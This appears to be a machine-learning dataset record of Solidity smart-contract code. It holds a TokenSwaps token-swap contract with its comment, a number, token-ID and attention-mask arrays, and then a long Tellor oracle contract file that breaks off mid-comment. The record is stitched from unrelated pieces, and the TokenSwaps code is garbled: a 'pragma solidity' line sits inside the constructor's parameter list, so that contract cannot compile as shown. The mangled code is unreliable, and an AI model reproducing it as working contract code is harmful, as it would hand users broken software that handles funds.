function pause() public onlyOwner { _pause(); } /** * @dev Unpauses token swaps. */ function unpause() public onlyOwner { _unpause(); } /** * @dev Set a new wallet address. */ function setWallet(address _wallet) public onlyOwner { wallet = _wallet; } receive() external payable { revert("TokenSwaps: sending eth is prohibited"); } }
* @title TokenSwaps @dev This contract allowed 1:1 swap of one ERC20 token to another/ token from user token to user swapped amount wallet for tokenTo
contract TokenSwaps is Pausable, FundsManager { IERC20 public tokenFrom; IERC20 public tokenTo; uint256 public swapped; address public wallet; constructor( IERC20 _tokenFrom, IERC20 _tokenTo, address _wallet pragma solidity 0.6.12; ) public { tokenFrom = _tokenFrom; tokenTo = _tokenTo; wallet = _wallet; } function swap(uint256 _amount) public { swapToAddress(_amount, msg.sender); } function swapToAddress(uint256 _amount, address _to) public whenNotPaused { tokenFrom.transferFrom(msg.sender, wallet, _amount); tokenTo.transfer(_to, _amount); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function setWallet(address _wallet) public onlyOwner { wallet = _wallet; } receive() external payable { revert("TokenSwaps: sending eth is prohibited"); } }
955,096
[ 1, 1345, 6050, 6679, 225, 1220, 6835, 2935, 404, 30, 21, 7720, 434, 1245, 4232, 39, 3462, 1147, 358, 4042, 19, 1147, 628, 729, 1147, 358, 729, 7720, 1845, 3844, 9230, 364, 1147, 774, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 6050, 6679, 353, 21800, 16665, 16, 478, 19156, 1318, 288, 203, 565, 467, 654, 39, 3462, 1071, 1147, 1265, 31, 203, 203, 565, 467, 654, 39, 3462, 1071, 1147, 774, 31, 203, 203, 565, 2254, 5034, 1071, 7720, 1845, 31, 203, 203, 565, 1758, 1071, 9230, 31, 203, 203, 565, 3885, 12, 203, 3639, 467, 654, 39, 3462, 389, 2316, 1265, 16, 203, 3639, 467, 654, 39, 3462, 389, 2316, 774, 16, 203, 3639, 1758, 389, 19177, 203, 683, 9454, 18035, 560, 374, 18, 26, 18, 2138, 31, 203, 565, 262, 1071, 288, 203, 3639, 1147, 1265, 273, 389, 2316, 1265, 31, 203, 3639, 1147, 774, 273, 389, 2316, 774, 31, 203, 3639, 9230, 273, 389, 19177, 31, 203, 565, 289, 203, 203, 565, 445, 7720, 12, 11890, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 7720, 774, 1887, 24899, 8949, 16, 1234, 18, 15330, 1769, 203, 565, 289, 203, 203, 565, 445, 7720, 774, 1887, 12, 11890, 5034, 389, 8949, 16, 1758, 389, 869, 13, 1071, 1347, 1248, 28590, 288, 203, 3639, 1147, 1265, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 9230, 16, 389, 8949, 1769, 203, 3639, 1147, 774, 18, 13866, 24899, 869, 16, 389, 8949, 1769, 203, 203, 565, 289, 203, 203, 565, 445, 11722, 1435, 1071, 1338, 5541, 288, 203, 3639, 389, 19476, 5621, 203, 565, 289, 203, 203, 565, 445, 640, 19476, 1435, 1071, 1338, 5541, 288, 203, 3639, 389, 318, 19476, 5621, 203, 565, 289, 203, 203, 565, 445, 444, 16936, 12, 2867, 389, 19177, 2 ]
/** *Submitted for verification at Etherscan.io on 2020-07-01 */ pragma solidity ^0.5.0; /** * @title Tellor Transfer * @dev Contais the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol * reference this library for function's logic. * Many of the functions have been commented out for simplicity. */ library TellorTransfer { using SafeMath for uint256; event Approval(address indexed _owner, address indexed _spender, uint256 _value);//ERC20 Approval event event Transfer(address indexed _from, address indexed _to, uint256 _value);//ERC20 Transfer Event /*Functions*/ /** * @dev Allows for a transfer of tokens to _to * @param _to The address to send tokens to * @param _amount The amount of tokens to send * @return true if transfer is successful */ function transfer(TellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) { doTransfer(self,msg.sender, _to, _amount); return true; } /** * @notice Send _amount tokens to _to from _from on the condition it * is approved by _from * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) { require(self.allowed[_from][msg.sender] >= _amount); self.allowed[_from][msg.sender] -= _amount; doTransfer(self,_from, _to, _amount); return true; } /** * @dev This function approves a _spender an _amount of tokens to use * @param _spender address * @param _amount amount the spender is being approved for * @return true if spender appproved successfully */ function approve(TellorStorage.TellorStorageStruct storage self, address _spender, uint _amount) public returns (bool) { require(_spender != address(0)); self.allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } // /** // * @param _user address of party with the balance // * @param _spender address of spender of parties said balance // * @return Returns the remaining allowance of tokens granted to the _spender from the _user // */ // function allowance(TellorStorage.TellorStorageStruct storage self,address _user, address _spender) public view returns (uint) { // return self.allowed[_user][_spender]; // } /** * @dev Completes POWO transfers by updating the balances on the current block number * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint _amount) public { require(_amount > 0); require(_to != address(0)); require(allowedToTrade(self,_from,_amount)); //allowedToTrade checks the stakeAmount is removed from balance if the _user is staked uint previousBalance = balanceOfAt(self,_from, block.number); updateBalanceAtNow(self.balances[_from], previousBalance - _amount); previousBalance = balanceOfAt(self,_to, block.number); require(previousBalance + _amount >= previousBalance); // Check for overflow updateBalanceAtNow(self.balances[_to], previousBalance + _amount); emit Transfer(_from, _to, _amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(TellorStorage.TellorStorageStruct storage self,address _user) public view returns (uint) { return balanceOfAt(self,_user, block.number); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber specified */ function balanceOfAt(TellorStorage.TellorStorageStruct storage self,address _user, uint _blockNumber) public view returns (uint) { if ((self.balances[_user].length == 0) || (self.balances[_user][0].fromBlock > _blockNumber)) { return 0; } else { return getBalanceAt(self.balances[_user], _blockNumber); } } /** * @dev Getter for balance for owner on the specified _block number * @param checkpoints gets the mapping for the balances[owner] * @param _block is the block number to search the balance on * @return the balance at the checkpoint */ function getBalanceAt(TellorStorage.Checkpoint[] storage checkpoints, uint _block) view public returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * and removing the staked amount from their balance if they are staked * @param _user address of user * @param _amount to check if the user can spend * @return true if they are allowed to spend the amount being checked */ function allowedToTrade(TellorStorage.TellorStorageStruct storage self,address _user,uint _amount) public view returns(bool) { if(self.stakerDetails[_user].currentStatus >0){ //Removes the stakeAmount from balance if the _user is staked if(balanceOf(self,_user).sub(self.uintVars[keccak256("stakeAmount")]).sub(_amount) >= 0){ return true; } } else if(balanceOf(self,_user).sub(_amount) >= 0){ return true; } return false; } /** * @dev Updates balance for from and to on the current block number via doTransfer * @param checkpoints gets the mapping for the balances[owner] * @param _value is the new balance */ function updateBalanceAtNow(TellorStorage.Checkpoint[] storage checkpoints, uint _value) public { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { TellorStorage.Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } //Slightly modified SafeMath library - includes a min and max function, removes useless div function library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a + b; assert(c >= a); } else { c = a + b; assert(c <= a); } } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } function max(int256 a, int256 b) internal pure returns (uint256) { return a > b ? uint256(a) : uint256(b); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256 c) { if (b > 0) { c = a - b; assert(c <= a); } else { c = a - b; assert(c >= a); } } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * @title Tellor Oracle Storage Library * @dev Contains all the variables/structs used by Tellor * This test file is exactly the same as the production/mainnet file. */ library TellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint value; address miner; } struct Dispute { bytes32 hash;//unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int tally;//current tally of votes for - against measure bool executed;//is the dispute settled bool disputeVotePassed;//did the vote pass? bool isPropFork; //true for fork proposal NEW address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty;//miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes address proposedForkAddress;//new fork address (if fork proposal) mapping(bytes32 => uint) disputeUintVars; //Each of the variables below is saved in the mapping disputeUintVars for each disputeID //e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")] //These are the variables saved in this mapping: // uint keccak256("requestId");//apiID of disputed value // uint keccak256("timestamp");//timestamp of distputed value // uint keccak256("value"); //the value being disputed // uint keccak256("minExecutionDate");//7 days from when dispute initialized // uint keccak256("numberOfVotes");//the number of parties who have voted on the measure // uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from // uint keccak256("minerSlot"); //index in dispute array // uint keccak256("quorum"); //quorum for dispute vote NEW // uint keccak256("fee"); //fee paid corresponding to dispute mapping (address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint currentStatus;//0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute uint startDate; //stake start date } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock;// fromBlock is the block number that the value was generated from uint128 value;// value is the amount of tokens at a specific block number } struct Request { string queryString;//id to string api string dataSymbol;//short name for api request bytes32 queryHash;//hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity)) uint[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint) apiUintVars; //Each of the variables below is saved in the mapping apiUintVars for each api request //e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")] //These are the variables saved in this mapping: // uint keccak256("granularity"); //multiplier for miners // uint keccak256("requestQPosition"); //index in requestQ // uint keccak256("totalTip");//bonus portion of payout mapping(uint => uint) minedBlockNum;//[apiId][minedTimestamp]=>block.number mapping(uint => uint) finalValues;//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint => bool) inDispute;//checks if API id is in dispute or finalized. mapping(uint => address[5]) minersByValue; mapping(uint => uint[5])valuesByTimestamp; } struct TellorStorageStruct { bytes32 currentChallenge; //current challenge to be solved uint[51] requestQ; //uint50 array of the top50 requests by payment amount uint[] newValueTimestamps; //array of all timestamps requested Details[5] currentMiners; //This struct is for organizing the five mined values to find the median mapping(bytes32 => address) addressVars; //Address fields in the Tellor contract are saved the addressVars mapping //e.g. addressVars[keccak256("tellorContract")] = address //These are the variables saved in this mapping: // address keccak256("tellorContract");//Tellor address // address keccak256("_owner");//Tellor Owner address // address keccak256("_deity");//Tellor Owner that can do things at will mapping(bytes32 => uint) uintVars; //uint fields in the Tellor contract are saved the uintVars mapping //e.g. uintVars[keccak256("decimals")] = uint //These are the variables saved in this mapping: // keccak256("decimals"); //18 decimal standard ERC20 // keccak256("disputeFee");//cost to dispute a mined value // keccak256("disputeCount");//totalHistoricalDisputes // keccak256("total_supply"); //total_supply of the token in circulation // keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?) // keccak256("stakerCount"); //number of parties currently staked // keccak256("timeOfLastNewValue"); // time of last challenge solved // keccak256("difficulty"); // Difficulty of current block // keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool // keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id // keccak256("requestCount"); // total number of requests through the system // keccak256("slotProgress");//Number of miners who have mined this value so far // keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value // keccak256("timeTarget"); //The time between blocks (mined Oracle values) mapping(bytes32 => mapping(address=>bool)) minersByChallenge;//This is a boolean that tells you if a given challenge has been completed by a given miner mapping(uint => uint) requestIdByTimestamp;//minedTimestamp to apiId mapping(uint => uint) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint => Dispute) disputesById;//disputeId=> Dispute details mapping (address => Checkpoint[]) balances; //balances of a party given blocks mapping(address => mapping (address => uint)) allowed; //allowance for a given party and approver mapping(address => StakeInfo) stakerDetails;//mapping from a persons address to their staking info mapping(uint => Request) requestDetails;//mapping of apiID to details mapping(bytes32 => uint) requestIdByQueryHash;// api bytes32 gets an id = to count of requests array mapping(bytes32 => uint) disputeIdByDisputeHash;//maps a hash to an ID for each dispute } } //Functions for retrieving min and Max in 51 length array (requestQ) //Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol library Utilities{ /** * @dev Returns the minimum value in an array. */ function getMax(uint[51] memory data) internal pure returns(uint256 max,uint256 maxIndex) { max = data[1]; maxIndex; for(uint i=1;i < data.length;i++){ if(data[i] > max){ max = data[i]; maxIndex = i; } } } /** * @dev Returns the minimum value in an array. */ function getMin(uint[51] memory data) internal pure returns(uint256 min,uint256 minIndex) { minIndex = data.length - 1; min = data[minIndex]; for(uint i = data.length-1;i > 0;i--) { if(data[i] < min) { min = data[i]; minIndex = i; } } } } /** * @title Tellor Getters Library * @dev This is the test getter library for all variables in the Tellor Tributes system. TellorGetters references this * libary for the getters logic. * Many of the functions have been commented out for simplicity. */ library TellorGettersLibrary{ using SafeMath for uint256; event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true /*Functions*/ //The next two functions are onlyOwner functions. For Tellor to be truly decentralized, we will need to transfer the Deity to the 0 address. //Only needs to be in library /** * @dev This function allows us to set a new Deity (or remove it) * @param _newDeity address of the new Deity of the tellor system */ function changeDeity(TellorStorage.TellorStorageStruct storage self, address _newDeity) internal{ require(self.addressVars[keccak256("_deity")] == msg.sender); self.addressVars[keccak256("_deity")] =_newDeity; } //Only needs to be in library /** * @dev This function allows the deity to upgrade the Tellor System * @param _tellorContract address of new updated TellorCore contract */ function changeTellorContract(TellorStorage.TellorStorageStruct storage self,address _tellorContract) internal{ require(self.addressVars[keccak256("_deity")] == msg.sender); self.addressVars[keccak256("tellorContract")]= _tellorContract; emit NewTellorAddress(_tellorContract); } // /*Tellor Getters*/ // /** // * @dev This function tells you if a given challenge has been completed by a given miner // * @param _challenge the challenge to search for // * @param _miner address that you want to know if they solved the challenge // * @return true if the _miner address provided solved the // */ // function didMine(TellorStorage.TellorStorageStruct storage self, bytes32 _challenge,address _miner) internal view returns(bool){ // return self.minersByChallenge[_challenge][_miner]; // } // /** // * @dev Checks if an address voted in a dispute // * @param _disputeId to look up // * @param _address of voting party to look up // * @return bool of whether or not party voted // */ // function didVote(TellorStorage.TellorStorageStruct storage self,uint _disputeId, address _address) internal view returns(bool){ // return self.disputesById[_disputeId].voted[_address]; // } // /** // * @dev allows Tellor to read data from the addressVars mapping // * @param _data is the keccak256("variable_name") of the variable that is being accessed. // * These are examples of how the variables are saved within other functions: // * addressVars[keccak256("_owner")] // * addressVars[keccak256("tellorContract")] // */ // function getAddressVars(TellorStorage.TellorStorageStruct storage self, bytes32 _data) view internal returns(address){ // return self.addressVars[_data]; // } // * // * @dev Gets all dispute variables // * @param _disputeId to look up // * @return bytes32 hash of dispute // * @return bool executed where true if it has been voted on // * @return bool disputeVotePassed // * @return bool isPropFork true if the dispute is a proposed fork // * @return address of reportedMiner // * @return address of reportingParty // * @return address of proposedForkAddress // * @return uint of requestId // * @return uint of timestamp // * @return uint of value // * @return uint of minExecutionDate // * @return uint of numberOfVotes // * @return uint of blocknumber // * @return uint of minerSlot // * @return uint of quorum // * @return uint of fee // * @return int count of the current tally // function getAllDisputeVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId) internal view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){ // TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; // return(disp.hash,disp.executed, disp.disputeVotePassed, disp.isPropFork, disp.reportedMiner, disp.reportingParty,disp.proposedForkAddress,[disp.disputeUintVars[keccak256("requestId")], disp.disputeUintVars[keccak256("timestamp")], disp.disputeUintVars[keccak256("value")], disp.disputeUintVars[keccak256("minExecutionDate")], disp.disputeUintVars[keccak256("numberOfVotes")], disp.disputeUintVars[keccak256("blockNumber")], disp.disputeUintVars[keccak256("minerSlot")], disp.disputeUintVars[keccak256("quorum")],disp.disputeUintVars[keccak256("fee")]],disp.tally); // } // /** // * @dev Getter function for variables for the requestId being currently mined(currentRequestId) // * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request // */ // function getCurrentVariables(TellorStorage.TellorStorageStruct storage self) internal view returns(bytes32, uint, uint,string memory,uint,uint){ // return (self.currentChallenge,self.uintVars[keccak256("currentRequestId")],self.uintVars[keccak256("difficulty")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].queryString,self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("granularity")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("totalTip")]); // } // /** // * @dev Checks if a given hash of miner,requestId has been disputed // * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); // * @return uint disputeId // */ // function getDisputeIdByDisputeHash(TellorStorage.TellorStorageStruct storage self,bytes32 _hash) internal view returns(uint){ // return self.disputeIdByDisputeHash[_hash]; // } // /* // * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId // * @param _disputeId is the dispute id; // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the disputeUintVars under the Dispute struct // * @return uint value for the bytes32 data submitted // */ // function getDisputeUintVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId,bytes32 _data) internal view returns(uint){ // return self.disputesById[_disputeId].disputeUintVars[_data]; // } // /** // * @dev Gets the a value for the latest timestamp available // * @return value for timestamp of last proof of work submited // * @return true if the is a timestamp for the lastNewValue // */ // function getLastNewValue(TellorStorage.TellorStorageStruct storage self) internal view returns(uint,bool){ // return (retrieveData(self,self.requestIdByTimestamp[self.uintVars[keccak256("timeOfLastNewValue")]], self.uintVars[keccak256("timeOfLastNewValue")]),true); // } // /** // * @dev Gets the a value for the latest timestamp available // * @param _requestId being requested // * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't // */ // function getLastNewValueById(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(uint,bool){ // TellorStorage.Request storage _request = self.requestDetails[_requestId]; // if(_request.requestTimestamps.length > 0){ // return (retrieveData(self,_requestId,_request.requestTimestamps[_request.requestTimestamps.length - 1]),true); // } // else{ // return (0,false); // } // } // /** // * @dev Gets blocknumber for mined timestamp // * @param _requestId to look up // * @param _timestamp is the timestamp to look up blocknumber // * @return uint of the blocknumber which the dispute was mined // */ // function getMinedBlockNum(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp) internal view returns(uint){ // return self.requestDetails[_requestId].minedBlockNum[_timestamp]; // } // /** // * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp // * @param _requestId to look up // * @param _timestamp is the timestamp to look up miners for // * @return the 5 miners' addresses // */ // function getMinersByRequestIdAndTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(address[5] memory){ // return self.requestDetails[_requestId].minersByValue[_timestamp]; // } // /** // * @dev Get the name of the token // * @return string of the token name // */ // function getName(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){ // return "Tellor Tributes"; // } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(TellorStorage.TellorStorageStruct storage self, uint _requestId) internal view returns(uint){ return self.requestDetails[_requestId].requestTimestamps.length; } // /** // * @dev Getter function for the specified requestQ index // * @param _index to look up in the requestQ array // * @return uint of reqeuestId // */ // function getRequestIdByRequestQIndex(TellorStorage.TellorStorageStruct storage self, uint _index) internal view returns(uint){ // require(_index <= 50); // return self.requestIdByRequestQIndex[_index]; // } // /** // * @dev Getter function for requestId based on timestamp // * @param _timestamp to check requestId // * @return uint of reqeuestId // */ // function getRequestIdByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _timestamp) internal view returns(uint){ // return self.requestIdByTimestamp[_timestamp]; // } /** * @dev Getter function for requestId based on the qeuaryHash * @param _queryHash hash(of string api and granularity) to check if a request already exists * @return uint requestId */ function getRequestIdByQueryHash(TellorStorage.TellorStorageStruct storage self, bytes32 _queryHash) internal view returns(uint){ return self.requestIdByQueryHash[_queryHash]; } // /** // * @dev Getter function for the requestQ array // * @return the requestQ arrray // */ // function getRequestQ(TellorStorage.TellorStorageStruct storage self) view internal returns(uint[51] memory){ // return self.requestQ; // } // * // * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct // * for the requestId specified // * @param _requestId to look up // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the apiUintVars under the requestDetails struct // * @return uint value of the apiUintVars specified in _data for the requestId specified // function getRequestUintVars(TellorStorage.TellorStorageStruct storage self,uint _requestId,bytes32 _data) internal view returns(uint){ // return self.requestDetails[_requestId].apiUintVars[_data]; // } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return string of api to query * @return string of symbol of api to query * @return bytes32 hash of string * @return bytes32 of the granularity(decimal places) requested * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(string memory,string memory, bytes32,uint, uint, uint) { TellorStorage.Request storage _request = self.requestDetails[_requestId]; return (_request.queryString,_request.dataSymbol,_request.queryHash, _request.apiUintVars[keccak256("granularity")],_request.apiUintVars[keccak256("requestQPosition")],_request.apiUintVars[keccak256("totalTip")]); } // /** // * @dev This function allows users to retireve all information about a staker // * @param _staker address of staker inquiring about // * @return uint current state of staker // * @return uint startDate of staking // */ // function getStakerInfo(TellorStorage.TellorStorageStruct storage self,address _staker) internal view returns(uint,uint){ // return (self.stakerDetails[_staker].currentStatus,self.stakerDetails[_staker].startDate); // } // /** // * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp // * @param _requestId to look up // * @param _timestamp is the timestampt to look up miners for // * @return address[5] array of 5 addresses ofminers that mined the requestId // */ // function getSubmissionsByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(uint[5] memory){ // return self.requestDetails[_requestId].valuesByTimestamp[_timestamp]; // } // /** // * @dev Get the symbol of the token // * @return string of the token symbol // */ // function getSymbol(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){ // return "TT"; // } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(TellorStorage.TellorStorageStruct storage self,uint _requestID, uint _index) internal view returns(uint){ return self.requestDetails[_requestID].requestTimestamps[_index]; } // /** // * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the uintVars under the TellorStorageStruct struct // * This is an example of how data is saved into the mapping within other functions: // * self.uintVars[keccak256("stakerCount")] // * @return uint of specified variable // */ // function getUintVar(TellorStorage.TellorStorageStruct storage self,bytes32 _data) view internal returns(uint){ // return self.uintVars[_data]; // } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string */ function getVariablesOnDeck(TellorStorage.TellorStorageStruct storage self) internal view returns(uint, uint,string memory){ uint newRequestId = getTopRequestID(self); return (newRequestId,self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")],self.requestDetails[newRequestId].queryString); } /** * @dev Getter function for the request with highest payout. This function is used within the getVariablesOnDeck function * @return uint _requestId of request with highest payout at the time the function is called */ function getTopRequestID(TellorStorage.TellorStorageStruct storage self) internal view returns(uint _requestId){ uint _max; uint _index; (_max,_index) = Utilities.getMax(self.requestQ); _requestId = self.requestIdByRequestQIndex[_index]; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(bool){ return self.requestDetails[_requestId].inDispute[_timestamp]; } /** * @dev Retreive value from oracle based on requestId/timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return uint value for requestId/timestamp submitted */ function retrieveData(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns (uint) { return self.requestDetails[_requestId].finalValues[_timestamp]; } // /** // * @dev Getter for the total_supply of oracle tokens // * @return uint total supply // */ // function totalSupply(TellorStorage.TellorStorageStruct storage self) internal view returns (uint) { // return self.uintVars[keccak256("total_supply")]; // } } /** * @title Tellor Getters * @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract * is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake */ contract TellorGetters{ using SafeMath for uint256; using TellorTransfer for TellorStorage.TellorStorageStruct; using TellorGettersLibrary for TellorStorage.TellorStorageStruct; //using TellorStake for TellorStorage.TellorStorageStruct; TellorStorage.TellorStorageStruct tellor; // * // * @param _user address // * @param _spender address // * @return Returns the remaining allowance of tokens granted to the _spender from the _user // function allowance(address _user, address _spender) external view returns (uint) { // return tellor.allowance(_user,_spender); // } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * @param _user address * @param _amount uint of amount * @return true if the user is alloed to trade the amount specified */ function allowedToTrade(address _user,uint _amount) external view returns(bool){ return tellor.allowedToTrade(_user,_amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(address _user) external view returns (uint) { return tellor.balanceOf(_user); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber */ function balanceOfAt(address _user, uint _blockNumber) external view returns (uint) { return tellor.balanceOfAt(_user,_blockNumber); } // /** // * @dev This function tells you if a given challenge has been completed by a given miner // * @param _challenge the challenge to search for // * @param _miner address that you want to know if they solved the challenge // * @return true if the _miner address provided solved the // */ // function didMine(bytes32 _challenge, address _miner) external view returns(bool){ // return tellor.didMine(_challenge,_miner); // } // /** // * @dev Checks if an address voted in a given dispute // * @param _disputeId to look up // * @param _address to look up // * @return bool of whether or not party voted // */ // function didVote(uint _disputeId, address _address) external view returns(bool){ // return tellor.didVote(_disputeId,_address); // } // /** // * @dev allows Tellor to read data from the addressVars mapping // * @param _data is the keccak256("variable_name") of the variable that is being accessed. // * These are examples of how the variables are saved within other functions: // * addressVars[keccak256("_owner")] // * addressVars[keccak256("tellorContract")] // */ // function getAddressVars(bytes32 _data) view external returns(address){ // return tellor.getAddressVars(_data); // } // /** // * @dev Gets all dispute variables // * @param _disputeId to look up // * @return 